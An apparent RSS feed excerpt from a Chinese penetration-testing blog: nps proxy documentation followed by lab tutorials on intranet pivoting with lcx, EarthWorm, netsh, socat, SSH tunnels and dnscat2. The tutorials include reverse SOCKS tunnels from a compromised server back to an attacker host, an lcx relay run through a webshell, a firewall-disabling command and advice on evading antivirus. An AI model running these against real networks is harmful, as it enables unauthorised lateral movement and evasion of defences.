<h3>端口白名单</h3>
<p>为了防止服务端上的端口被滥用，可在nps.conf中配置allow_ports限制可开启的端口，忽略或者不填表示端口不受限制，格式：</p>
<pre><code class="language-ini ">allow_ports=9001-9009,10001,11000-12000
</code></pre>
<h3>端口范围映射</h3>
<p>当客户端以配置文件的方式启动时，可以将本地的端口进行范围映射，仅支持tcp和udp模式，例如：</p>
<pre><code class="language-ini ">[tcp]
mode=tcp
server_port=9001-9009,10001,11000-12000
target_port=8001-8009,10002,13000-14000
</code></pre>
<p>逗号分隔，可单个或者范围，注意上下端口的对应关系，无法一一对应将不能成功</p>
<h3>端口范围映射到其他机器</h3>
<pre><code class="language-ini ">[tcp]
mode=tcp
server_port=9001-9009,10001,11000-12000
target_port=8001-8009,10002,13000-14000
target_ip=10.1.50.2
</code></pre>
<p>填写target_ip后则表示映射的该地址机器的端口，忽略则便是映射本地127.0.0.1,仅范围映射时有效</p>
<h3>守护进程</h3>
<p>本代理支持守护进程，使用示例如下，服务端客户端所有模式通用,支持linux，darwin，windows。</p>
<pre><code class="">./(nps|npc) start|stop|restart|status 若有其他参数可加其他参数
</code></pre>
<pre><code class="">(nps|npc).exe start|stop|restart|status 若有其他参数可加其他参数
</code></pre>
<h3>KCP协议支持</h3>
<p>KCP 是一个快速可靠协议，能以比 TCP浪费10%-20%的带宽的代价，换取平均延迟降低 30%-40%，在弱网环境下对性能能有一定的提升。可在nps.conf中修改<code>bridge_type</code>为kcp<br />
，设置后本代理将开启udp端口（<code>bridge_port</code>）</p>
<p>注意：当服务端为kcp时，客户端连接时也需要使用相同配置，无配置文件模式加上参数type=kcp,配置文件模式在配置文件中设置tp=kcp</p>
<h3>域名泛解析</h3>
<p>支持域名泛解析，例如将host设置为*.proxy.com，a.proxy.com、b.proxy.com等都将解析到同一目标，在web管理中或客户端配置文件中将host设置为此格式即可。</p>
<h3>URL路由</h3>
<p>本代理支持根据URL将同一域名转发到不同的内网服务器，可在web中或客户端配置文件中设置，此参数也可忽略，例如在客户端配置文件中</p>
<pre><code class="language-ini ">[web1]
host=a.proxy.com
target_addr=127.0.0.1:7001
location=/test
[web2]
host=a.proxy.com
target_addr=127.0.0.1:7002
location=/static
</code></pre>
<p>对于<code>a.proxy.com/test</code>将转发到<code>web1</code>，对于<code>a.proxy.com/static</code>将转发到<code>web2</code></p>
<h3>限制ip访问</h3>
<p>如果将一些危险性高的端口例如ssh端口暴露在公网上，可能会带来一些风险，本代理支持限制ip访问。</p>
<p><strong>使用方法:</strong> 在配置文件nps.conf中设置<code>ip_limit</code>=true，设置后仅通过注册的ip方可访问。</p>
<p><strong>ip注册</strong>：</p>
<p><strong>方式一：</strong><br />
在需要访问的机器上，运行客户端</p>
<pre><code class="">./npc register -server=ip:port -vkey=公钥或客户端密钥 time=2
</code></pre>
<p>time为有效小时数，例如time=2，在当前时间后的两小时内，本机公网ip都可以访问nps代理.</p>
<p><strong>方式二：</strong><br />
此外nps的web登陆也可提供验证的功能，成功登陆nps web admin后将自动为登陆的ip注册两小时的允许访问权限。</p>
<p><strong>注意：</strong> 本机公网ip并不是一成不变的，请自行注意有效期的设置，同时同一网络下，多人也可能是在公用同一个公网ip。</p>
<h3>客户端最大连接数</h3>
<p>为防止恶意大量长连接，影响服务端程序的稳定性，可以在web或客户端配置文件中为每个客户端设置最大连接数。该功能针对<code>socks5</code>、<code>http正向代理</code>、<code>域名代理</code>、<code>tcp代理</code>、<code>udp代理</code>、<code>私密代理</code>生效,使用该功能需要在<code>nps.conf</code>中设置<code>allow_connection_num_limit=true</code>，默认是关闭的。</p>
<h3>客户端最大隧道数限制</h3>
<p>nps支持对客户端的隧道数量进行限制，该功能默认是关闭的，如需开启，请在<code>nps.conf</code>中设置<code>allow_tunnel_num_limit=true</code>。</p>
<h3>端口复用</h3>
<p>在一些严格的网络环境中，对端口的个数等限制较大，nps支持强大端口复用功能。将<code>bridge_port</code>、 <code>http_proxy_port</code>、 <code>https_proxy_port</code> 、<code>web_port</code>都设置为同一端口，也能正常使用。</p>
<ul>
<li>使用时将需要复用的端口设置为与<code>bridge_port</code>一致即可，将自动识别。</li>
<li>如需将web管理的端口也复用，需要配置<code>web_host</code>也就是一个二级域名以便区分</li>
</ul>
<h3>多路复用</h3>
<p>nps主要通信默认基于多路复用，无需开启。</p>
<h3>环境变量渲染</h3>
<p>npc支持环境变量渲染以适应在某些特殊场景下的要求。</p>
<p><strong>在无配置文件启动模式下：</strong><br />
设置环境变量</p>
<pre><code class="">export NPC_SERVER_ADDR=1.1.1.1:8284
export NPC_SERVER_VKEY=xxxxx
</code></pre>
<p>直接执行./npc即可运行</p>
<p><strong>在配置文件启动模式下：</strong></p>
<pre><code class="language-ini ">[common]
server_addr={{.NPC_SERVER_ADDR}}
conn_type=tcp
vkey={{.NPC_SERVER_VKEY}}
auto_reconnection=true
[web]
host={{.NPC_WEB_HOST}}
target_addr={{.NPC_WEB_TARGET}}
</code></pre>
<p>在配置文件中填入相应的环境变量名称，npc将自动进行渲染配置文件替换环境变量</p>
<h3>健康检查</h3>
<p>当客户端以配置文件模式启动时，支持多节点的健康检查。配置示例如下</p>
<pre><code class="language-ini ">[health_check_test1]
health_check_timeout=1
health_check_max_failed=3
health_check_interval=1
health_http_url=/
health_check_type=http
health_check_target=127.0.0.1:8083,127.0.0.1:8082

[health_check_test2]
health_check_timeout=1
health_check_max_failed=3
health_check_interval=1
health_check_type=tcp
health_check_target=127.0.0.1:8083,127.0.0.1:8082
</code></pre>
<p><strong>health关键词必须在开头存在</strong></p>
<p>第一种是http模式，也就是以get的方式请求目标+url，返回状态码为200表示成功</p>
<p>第一种是tcp模式，也就是以tcp的方式与目标建立连接，能成功建立连接表示成功</p>
<p>如果失败次数超过<code>health_check_max_failed</code>，nps则会移除该npc下的所有该目标，如果失败后目标重新上线，nps将自动将目标重新加入。</p>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>health_check_timeout</td>
<td>健康检查超时时间</td>
</tr>
<tr>
<td>health_check_max_failed</td>
<td>健康检查允许失败次数</td>
</tr>
<tr>
<td>health_check_interval</td>
<td>健康检查间隔</td>
</tr>
<tr>
<td>health_check_type</td>
<td>健康检查类型</td>
</tr>
<tr>
<td>health_check_target</td>
<td>健康检查目标，多个以逗号（,）分隔</td>
</tr>
<tr>
<td>health_check_type</td>
<td>健康检查类型</td>
</tr>
<tr>
<td>health_http_url</td>
<td>健康检查url，仅http模式适用</td>
</tr>
</tbody>
</table>
<h3>日志输出</h3>
<h4>日志输出级别</h4>
<p><strong>对于npc：</strong></p>
<pre><code class="">-log_level=0~7 -log_path=npc.log
</code></pre>
<pre><code class="">LevelEmergency-&gt;0  LevelAlert-&gt;1

LevelCritical-&gt;2 LevelError-&gt;3

LevelWarning-&gt;4 LevelNotice-&gt;5

LevelInformational-&gt;6 LevelDebug-&gt;7
</code></pre>
<p>默认为全输出,级别为0到7</p>
<p><strong>对于nps：</strong></p>
<p>在<code>nps.conf</code>中设置相关配置即可</p>
<h2>相关说明</h2>
<h3>获取用户真实ip</h3>
<p>在域名代理模式中，可以通过request请求 header 中的 X-Forwarded-For 和 X-Real-IP 来获取用户真实 IP。</p>
<p><strong>本代理前会在每一个http(s)请求中添加了这两个 header。</strong></p>
<h3>热更新支持</h3>
<p>对于绝大多数配置，在web管理中的修改将实时使用，无需重启客户端或者服务端</p>
<h3>客户端地址显示</h3>
<p>在web管理中将显示客户端的连接地址</p>
<h3>流量统计</h3>
<p>可统计显示每个代理使用的流量，由于压缩和加密等原因，会和实际环境中的略有差异</p>
<h3>当前客户端带宽</h3>
<p>可统计每个客户端当前的带宽，可能和实际有一定差异，仅供参考。</p>
<h3>客户端与服务端版本对比</h3>
<p>为了程序正常运行，客户端与服务端的核心版本必须一致，否则将导致客户端无法成功连接致服务端。</p>
<h2>webAPI</h2>
<h3>webAPI验证说明</h3>
<ul>
<li>采用auth_key的验证方式</li>
<li>在提交的每个请求后面附带两个参数，<code>auth_key</code> 和<code>timestamp</code></li>
</ul>
<pre><code class="">auth_key的生成方式为：md5(配置文件中的auth_key+当前时间戳)
</code></pre>
<pre><code class="">timestamp为当前时间戳
</code></pre>
<pre><code class="">curl --request POST \
  --url http://127.0.0.1:8080/client/list \
  --data 'auth_key=2a0000d9229e7dbcf79dd0f5e04bb084&amp;timestamp=1553045344&amp;start=0&amp;limit=10'
</code></pre>
<p><strong>注意：</strong> 为保证安全，时间戳的有效范围为20秒内，所以每次提交请求必须重新生成。</p>
<h3>获取服务端时间</h3>
<p>由于服务端与api请求的客户端时间差异不能太大，所以提供了一个可以获取服务端时间的接口</p>
<pre><code class="">POST /auth/gettime
</code></pre>
<h3>获取服务端authKey</h3>
<p>如果想获取authKey，服务端提供获取authKey的接口</p>
<pre><code class="">POST /auth/getauthkey
</code></pre>
<p>将返回加密后的authKey，采用aes cbc加密，请使用与服务端配置文件中cryptKey相同的密钥进行解密</p>
<p><strong>注意：</strong> nps配置文件中<code>auth_crypt_key</code>需为16位<br />
&#8211; 解密密钥长度128<br />
&#8211; 偏移量与密钥相同<br />
&#8211; 补码方式pkcs5padding<br />
&#8211; 解密串编码方式 十六进制</p>
<h3>详细文档</h3>
<ul>
<li><strong>此文档近期可能更新较慢，建议自行抓包</strong></li>
</ul>
<p>为方便第三方扩展，在web模式下可利用webAPI进行相关操作，详情见<br />
<a href="https://github.com/cnlh/nps/wiki/webAPI%E6%96%87%E6%A1%A3">webAPI文档</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>各种端口转发工具的使用方法</title>
		<link>/tools/676.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jul 2019 08:28:02 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[ew]]></category>
		<category><![CDATA[lcx]]></category>
		<category><![CDATA[netsh]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[内网]]></category>
		<category><![CDATA[端口转发]]></category>
		<guid isPermaLink="false">/?p=676</guid>

					<description><![CDATA[科普转发工具的用法 本文主要介绍几种内网中常用的端口转发以代理的几种姿势。阅读本文前请看到每个阶段的网络环境，对理解本文有重要帮助。 我们在这里用三台实验机 client ：172...]]></description>
										<content:encoded><![CDATA[<p>科普转发工具的用法</p>
<p>本文主要介绍几种<span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e7%bd%91" title="内网" target="_blank">内网</a></span>中常用的<span class="wpcom_tag_link"><a href="/tags/%e7%ab%af%e5%8f%a3%e8%bd%ac%e5%8f%91" title="端口转发" target="_blank">端口转发</a></span>以代理的几种姿势。阅读本文前请看到每个阶段的网络环境，对理解本文有重要帮助。</p>
<p>我们在这里用三台实验机</p>
<p>client ：172.16.1.1</p>
<p>attacker：172.16.2.18 172.16.1.144</p>
<p>server：172.16.2.8</p>
<p>我们的目的是从我们的client就可以连接上 win2008 的远程桌面。</p>
<h1>LCX</h1>
<p><span class="wpcom_tag_link"><a href="/tags/lcx" title="lcx" target="_blank">lcx</a></span>.exe有两大功能</p>
<ol>
<li>端口转发 slave和listen成对使用</li>
<li>端口映射 tran</li>
</ol>
<h2>slave listen</h2>
<p>server执行</p>
<pre><code class="language-powershell ">lcx.exe -s 172.16.2.8 5555 127.0.0.1 3389
</code></pre>
<p>这句话的意思是把本机的3389端口转发到172.16.2.8的5555端口</p>
<p>在attacker执行</p>
<pre><code class="language-powershell ">lcx.exe -l 5555 4444
</code></pre>
<p>这句是把本机5555接收到的数据转发到本机的4444端口</p>
<p>现在就可以在client上 mstsc 连接attacker的4444端口，或者直接在attacker中连接<code>127.0.0.1:4444</code></p>
<p>整个数据的流向</p>
<p>client <-> 4444 attacker 5555 <->3389 server</p>
<h2>tran</h2>
<p>如果server中有防火墙不允许3389出站，那么可以用tran将3389映射到防火墙允许出站的端口，比如53端口。</p>
<p>server执行</p>
<pre><code class="language-powershell ">lcx -t 53 172.16.2.8 3389
</code></pre>
<p>直接连接server:53</p>
<p>数据流向</p>
<p>server 3389 <-> 53 <->client</p>
<h1>Earthworm</h1>
<p>EW 是一套便携式的网络穿透工具，具有 SOCKS v5 服务架设和端口转发两大核心功能。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。工具包中提供了多种可执行文件，以适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。官方地址：http://rootkiter.com/EarthWorm</p>
<p>该工具共有 6 种命令格式：ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran</p>
<h2>正向socks5</h2>
<p>attacker:</p>
<pre><code class="language-powershell ">ew -s ssocksd -l 1080
</code></pre>
<p>client:</p>
<pre><code class="language-powershell ">C:\Users\Y4er&gt;curl http://172.16.2.8/ -x socks5://172.16.1.144:1080
I am 172.16.2.8
</code></pre>
<p>数据流向</p>
<p>client <-> attacker 1080 <-> server</p>
<h2>反向socks5</h2>
<p>attacker执行，监听8888端口转发到1080端口</p>
<pre><code class="language-powershell ">ew -s rcsocks -l 1080 -e 8888
</code></pre>
<p>在server中启动socks5服务，并且反弹到attacker的8888端口</p>
<pre><code class="language-powershell ">ew -s rssocks -d 172.16.2.18 -e 8888
</code></pre>
<p>在client中就可以用这个代理了</p>
<pre><code class="language-powershell ">curl http://172.16.2.8/ -x socks5://172.16.1.144:1080
</code></pre>
<p>client <-> attacker 1080 <-> attacker 8888 <-> server</p>
<h2>端口转发</h2>
<p>这里着重说一下<code>lcx_tran</code>、<code>lcx_listen</code>、<code>lcx_slave</code>的用法。</p>
<p>案例一：</p>
<p>在attacker中启动一个socks5代理，端口是9999</p>
<pre><code class="language-powershell ">ew -s ssocksd -l 9999
</code></pre>
<p><strong>然后通过<code>lcx_tran</code>来转发9999到1080</strong></p>
<pre><code class="language-powershell ">ew.exe -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
</code></pre>
<p>然后就能从client访问server了</p>
<pre><code class="language-powershell ">curl http://172.16.2.8/ -x socks5://172.16.1.144:1080
</code></pre>
<p>实际上还是用attacker搭了一个socks5代理，<strong>这个例子主要说的是lcx_tran的使用方法</strong>。</p>
<p>案例二：<br />
attacker:</p>
<pre><code class="language-powershell ">ew.exe -s lcx_listen -l 1234 -e 8888
</code></pre>
<p>server:</p>
<pre><code class="language-powershell ">ew.exe -s lcx_slave -d 192.168.1.100 -e 8888 -f 127.0.0.1 -g 3389
</code></pre>
<p>原理和lcx一样</p>
<h2>多级级联</h2>
<p>假如我们当前的网络环境如下</p>
<pre><code class="language-powershell ">a: 192.168.1.100
b: 192.168.1.101,10.0.0.1
c: 10.0.0.2,172.16.0.1
d: 172.16.0.2
</code></pre>
<p>那么我们怎么做才能让a访问到d的资源呢？</p>
<p><span class="wpcom_tag_link"><a href="/tags/ew" title="ew" target="_blank">ew</a></span>提供了多级级联</p>
<pre><code class="language-powershell ">a: ew.exe -s lcx_listen -l 1080 -e 8888
b: ew.exe -s lcx_slave -d 192.168.1.100 -e 8888 -f 10.0.0.2  -g 9999
c: ew.exe -s lcx_tran -l 9999 -f 172.16.0.2 -g 3389
</code></pre>
<p>数据流向</p>
<p>a 1080 <-> a 8888 <-> b 9999 <-> c 9999 <-> d 3389</p>
<h1><span class="wpcom_tag_link"><a href="/tags/netsh" title="netsh" target="_blank">netsh</a></span></h1>
<blockquote><p>
  netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具。</p>
<p>  https://docs.microsoft.com/zh-cn/windows-server/networking/technologies/netsh/netsh-contexts
</p></blockquote>
<p>netsh添加规则</p>
<pre><code class="language-powershell ">netsh interface portproxy set v4tov4 listenaddress=172.16.1.144  listenport=4444 connectaddress=172.16.2.8 connectport=3389
</code></pre>
<p>将172.16.1.144的4444端口映射到172.16.2.8的3389</p>
<p>查看规则</p>
<pre><code class="language-powershell ">C:\Users\Administrator\Desktop&gt;netsh interface portproxy show all

侦听 ipv4:                 连接到 ipv4:

地址            端口        地址            端口
--------------- ----------  --------------- ----------
172.16.1.144    4444        172.16.2.8      3389
</code></pre>
<p>删除规则</p>
<pre><code class="language-powershell ">netsh interface portproxy delete v4tov4 listenaddress=172.16.1.144 listenport=4444
</code></pre>
<p>关闭防火墙</p>
<pre><code class="language-powershell ">netsh firewall set opmode disabled
</code></pre>
<h1>sSocks</h1>
<blockquote><p>
  sSocks是一个socks代理工具套装，可用来开启socks代理服务，支持socks5验证，支持IPV6和UDP，并提供反向socks代理服务，即将远程计算机作为socks代理服务端，反弹回本地，极大方便内网的渗透测试。官方地址：http://sourceforge.net/projects/ssocks/
</p></blockquote>
<p>使用方法类似ew</p>
<p>attacker</p>
<pre><code class="language-bash ">rcsocks -l 4444 -p 5555 -vv
</code></pre>
<p>server</p>
<pre><code class="language-bash ">rssocks –vv –s 172.16.2.8:5555
</code></pre>
<p>client</p>
<pre><code class="language-bash ">curl 172.16.2.8 -x socks5://172.16.1.144:4444
</code></pre>
<h1>portfwd</h1>
<blockquote><p>
  portfwd是一款强大的端口转发工具，支持TCP，UDP，支持IPV4&#8211;IPV6的转换转发。
</p></blockquote>
<p>portfwd是meterpreter中内置的功能，也有单机exe版本的https://github.com/rssnsj/portfwd</p>
<p>较为简单，不举例了。</p>
<hr />
<p>以上我们将的都是win平台下的tcp端口转发，接下来我们看Linux平台下的。</p>
<p>改变下我们当前的网络结构</p>
<p>win10 client:172.16.1.1</p>
<p>kali attacker:172.16.1.141 172.16.2.19</p>
<p>win2008 server:172.16.2.8</p>
<p>我们现在的目的是通过kali的转发来使client连接到server的3389</p>
<hr />
<h1>socat</h1>
<blockquote><p>
  socat是一个多功能的网络工具，名字来由是” Socket CAT”，可以看作是netcat的N倍加强版，socat的官方网站：http://www.dest-unreach.org/socat/
</p></blockquote>
<p>socat的主要特点就是在两个数据流之间建立通道，且支持众多协议和链接方式：<code>ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket</code>等。</p>
<h2>端口转发</h2>
<pre><code class="language-bash ">socat TCP4-LISTEN:4444 TCP4:172.16.2.8:3389
</code></pre>
<p>client连接172.16.1.141:4444就是连接server的3389</p>
<p>如果需要使用并发连接，则加一个fork,如下:</p>
<pre><code class="">socat TCP4-LISTEN:4444,fork TCP4:172.16.2.8:3389
</code></pre>
<h2>端口映射</h2>
<p>在一个NAT环境，如何从外部连接到内部的一个端口呢？只要能够在内部运行socat就可以了。</p>
<p>attacker</p>
<pre><code class="language-bash ">socat tcp-listen:1234 tcp-listen:3389 
</code></pre>
<p>server</p>
<pre><code class="language-bash ">socat tcp:172.16.2.19:1234 tcp:172.16.2.8:3389
</code></pre>
<p>这样，你外部机器上的3389就映射在内部网172.16.2.8的3389端口上。</p>
<p>mstsc 172.16.1.141:3389</p>
<p>参考倾旋师傅的文章https://payloads.online/tools/socat</p>
<hr />
<p>我们再来看看基于<span class="wpcom_tag_link"><a href="/tags/ssh" title="ssh" target="_blank">ssh</a></span>协议的端口转发，环境跟上文一样。</p>
<hr />
<h1>ssh</h1>
<blockquote><p>
  SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是，SSH 还同时提供了一个非常有用的功能，这就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发，并且自动提供了相应的加密及解密服务。</p>
<p>  https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
</p></blockquote>
<p>SSH 端口转发能够提供两大功能：</p>
<ol>
<li>加密 SSH Client 端至 SSH Server 端之间的通讯数据。</li>
<li>突破防火墙的限制完成一些之前无法建立的 TCP 连接。</li>
</ol>
<p>参数：</p>
<p>-C Enable compression.</p>
<p>压缩数据传输。</p>
<p>-N Do not execute a shell or command.<br />
不执行脚本或命令，通常与-f连用。</p>
<p>-g Allow remote hosts to connect to forwarded ports.<br />
在-L/-R/-D参数中，允许远程主机连接到建立的转发的端口，如果不加这个参数，只允许本地主机建立连接。</p>
<p>-f Fork into background after authentication.<br />
后台认证用户/密码，通常和-N连用，不用登录到远程主机。</p>
<h2>本地端口转发</h2>
<p>所谓本地端口转发，就是<strong>将发送到本地端口的请求，转发到目标端口</strong>。这样，就可以通过访问本地端口，来访问目标端口的服务。</p>
<p>client(win10有ssh命令)</p>
<pre><code class="language-bash ">ssh -CfNg -L 4444:172.16.2.8:3389 root@172.16.1.141
</code></pre>
<p>此时client去连接localhost:4444就是server:3389</p>
<h2>远程端口转发</h2>
<p>所谓远程端口转发，就是<strong>将发送到远程端口的请求，转发到目标端口</strong>。这样，就可以通过访问远程端口，来访问目标端口的服务。</p>
<p>client</p>
<pre><code class="language-bash ">ssh -CfNg -R 4444:172.16.1.1:3389 root@172.16.1.141
</code></pre>
<p>此时client去连接localhost:4444就是server:3389</p>
<h2>本地转发与远程转发的对比</h2>
<p>首先，SSH 端口转发自然需要 SSH 连接，而 SSH 连接是有方向的，从 SSH Client 到 SSH Server 。而我们的应用也是有方向的，比如需要连接远程桌面时，远程桌面自然就是 Server 端，我们应用连接的方向也是从应用的 Client 端连接到应用的 Server 端。如果这两个连接的方向一致，那我们就说它是本地转发。而如果两个方向不一致，我们就说它是远程转发。</p>
<p>总的思路是通过将 TCP 连接转发到 SSH 通道上以解决数据加密以及突破防火墙的种种限制。对一些已知端口号的应用，例如 Telnet/LDAP/SMTP，我们可以使用本地端口转发或者远程端口转发来达到目的。</p>
<p>如果你对ssh转发还有问题的话，推荐阅读以下文章</p>
<ul>
<li><a href="https://blog.creke.net/722.html">SSH隧道与端口转发及内网穿透</a></li>
<li><a href="https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html">实战 SSH 端口转发</a></li>
<li><a href="https://blog.fundebug.com/2017/04/24/ssh-port-forwarding/">玩转SSH端口转发</a></li>
</ul>
<h2>ssh架设socks代理</h2>
<p>client</p>
<pre><code class="language-bash ">ssh -qTfnN -D 1080 172.16.1.141
</code></pre>
<p>client上架设socks，端口1080，数据通过attacker转发到内网。</p>
<h1>dnscat2</h1>
<blockquote><p>
  dnscat2 是一款基于 DNS 协议的代理隧道。不仅支持端口转发，另外还有执行命令，文件传输等功能。其原理与 DNS Log 类似, 分为直连和中继两种模式, 前者直接连接服务端的 53 端口, 速度快, 但隐蔽性差, 后者通过对所设置域名的递归查询进行数据传输, 速度慢, 但隐蔽性好。
</p></blockquote>
<p>创建一条端口转发</p>
<pre><code class="language-powershell ">(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (LAPTOP) 1&gt; listen 1234 127.0.0.1:3389
Listening on 0.0.0.0:1234, sending connections to 127.0.0.1:3389
command (LAPTOP) 1&gt; 
</code></pre>
<p>这个我没有测试，这个参考 @X1r0z 的文章 <a href="https://exp10it.cn/dnscat2-tunnel.html">dnscat2 tunnel</a></p>
<p>至于更多用法请参阅 <a href="https://github.com/iagox86/dnscat2/blob/v0.07/README.md">README.MD</a></p>
<h1>HTTP/HTTPS隧道</h1>
<p>http隧道较为简单，在这里举几个有名的http隧道（或是基于http包装的tcp隧道）</p>
<ol>
<li>https://github.com/sensepost/reGeorg</li>
<li>https://github.com/nccgroup/ABPTTS 目前不支持PHP</li>
<li>https://github.com/SECFORCE/Tunna</li>
<li>https://github.com/sensepost/reDuh</li>
</ol>
<h1>如何使用socks代理？</h1>
<ol>
<li>shadowsocks</li>
<li>sockcap64 windows</li>
<li>Proxifier</li>
<li>proxychains</li>
</ol>
<h1>踩过的坑</h1>
<ol>
<li>win2008 远程桌面黑屏鼠标没反应可能是因为你登录的用户已经登录了。</li>
<li>连不上3389需要先关防火墙。</li>
<li>socat尽量用fork，不然一次会话结束后就会断。</li>
</ol>
<h1>写在文后</h1>
<p>文章中的很多东西网上都有，端口转发实际上只要明白原理和数据的流向，就很明了了。</p>
<p>但是对于杀软来说，像lcx这种工具传上去就被杀掉了，所以推荐golang自写端口转发工具，当然你也可以在GitHub找一些少见的自写的端口转发工具来规避杀软。比如https://github.com/tavenli/port-forward</p>
<p>参考链接：</p>
<ul>
<li>https://micro8.gitbook.io/micro8/contents#91-100-ke</li>
<li><a href="https://blog.creke.net/722.html">SSH隧道与端口转发及内网穿透</a></li>
<li><a href="https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html">实战 SSH 端口转发</a></li>
<li><a href="https://blog.fundebug.com/2017/04/24/ssh-port-forwarding/">玩转SSH端口转发</a></li>
<li><a href="https://payloads.online/tools/socat">socat 使用手册</a></li>
<li><a href="https://xz.aliyun.com/t/1862">Web狗要懂的内网端口转发</a></li>
<li><a href="https://hatboy.github.io/2018/08/28/内网端口转发及穿透/">内网端口转发及穿透</a></li>
</ul>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[内网渗透]LCX的蒂花之秀</title>
		<link>/web/428.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 16 Jun 2018 08:29:33 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[内网]]></category>
		<guid isPermaLink="false">/?p=363</guid>

					<description><![CDATA[LCX弹个shell LCX 端口转发（突破内网不能连接） Webshell执行 -slave &#60;ConnectHost&#62; &#60;ConnectPort&#62; &#038;l...]]></description>
										<content:encoded><![CDATA[<blockquote><p>LCX弹个shell</p></blockquote>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-05cb21a8e98042f9.png" rel="nofollow"><img src="https://camo.githubusercontent.com/a3ebd9f7c42084ab97817282724edc3403a34cba/68747470733a2f2f75706c6f61642d696d616765732e6a69616e7368752e696f2f75706c6f61645f696d616765732f363636313031332d303563623231613865393830343266392e706e67" alt="" data-canonical-src="https://upload-images.jianshu.io/upload_images/6661013-05cb21a8e98042f9.png" /></a></p>
<pre>LCX 端口转发（突破内网不能连接）
Webshell执行
-slave &lt;ConnectHost&gt; &lt;ConnectPort&gt; &lt;TransmitHost&gt; &lt;TransPort&gt;
-slave 外网IP 外网IP监听端口 127.0.0.1 远程桌面端口

外网（服务器）执行
-listen 51 3333 监听51端口并转发到3333端口

然后外网服务器直接mstsc链接127.0.0.1:3333即可访问内网webshell</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>EarthWorm 实现内网穿透</title>
		<link>/web/358.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 23 Feb 2018 12:05:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[内网]]></category>
		<guid isPermaLink="false">/?p=227</guid>

					<description><![CDATA[EarthWorm EW 是一套便携式的网络穿透工具, 具有 SOCKS v5服务架设和端口转发两大核心功能, 可在复杂网络环境下完成网络穿透. 一般进入内网有 正向代理 和 反向...]]></description>
										<content:encoded><![CDATA[<p><img src="/wp-content/uploads/2018/02/1723895619.jpg" alt="1518687003.jpg" title="1518687003.jpg"></p>
<p><a href="http://rootkiter.com/EarthWorm/">EarthWorm</a></p>
<blockquote><p>EW 是一套便携式的网络穿透工具, 具有 SOCKS v5服务架设和端口转发两大核心功能, 可在复杂网络环境下完成网络穿透.</p></blockquote>
<p>一般进入<span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e7%bd%91" title="内网" target="_blank">内网</a></span>有 正向代理 和 反向代理 两种方法</p>
<p>引用 redrain 大牛的话</p>
<blockquote><p>正向代理是我们自己 (Lhost) 戴套 (proxy) 插进去, 反向代理是她 (Rhost) 主动通过上位 (proxy) 坐上来 (Lhost)</p></blockquote>
<p>正向代理需要目标主机有公网 IP 反向代理则适用于被防火墙拦截的情况</p>
<h2>正向代理</h2>
<p>目标主机</p>
<p><code>ew -s ssocksd -l 1080</code></p>
<p>在本地架设 socks 5 服务器 监听 1080 端口</p>
<p><img src="/wp-content/uploads/2018/02/2928363877.jpg" alt="1518687438.jpg" title="1518687438.jpg"></p>
<p>socks 客户端 Proxifier (windows) proxychains (linux)</p>
<p>连接成功后 显示信息</p>
<p><img src="/wp-content/uploads/2018/02/263917163.jpg" alt="1518687428.jpg" title="1518687428.jpg"></p>
<p>ping 通了目标主机的另外一块网卡</p>
<p><img src="/wp-content/uploads/2018/02/355885867.jpg" alt="1518687478.jpg" title="1518687478.jpg"></p>
<h2>反向代理</h2>
<p>vps</p>
<p><code>ew -s rcsocks -l 1080 -e 8888</code></p>
<p>将来自 8888 端口的请求转发至 1080 端口</p>
<p><img src="/wp-content/uploads/2018/02/2070264327.jpg" alt="1518687674.jpg" title="1518687674.jpg"></p>
<p>目标主机</p>
<p><code>ew -s rssocks -d ip -e 8888</code></p>
<p>连接指定 ip 并将数据转发至 8888 端口</p>
<p><img src="/wp-content/uploads/2018/02/1070161051.jpg" alt="1518687674.jpg" title="1518687674.jpg"></p>
<p>成功后会提示 <code>rssocks cmd_socket ok</code></p>
<p><img src="/wp-content/uploads/2018/02/1440330449.jpg" alt="1518687738.jpg" title="1518687738.jpg"></p>
<p>同样 ping 通网卡</p>
<p><img src="/wp-content/uploads/2018/02/762696059.jpg" alt="1518687769.jpg" title="1518687769.jpg"></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
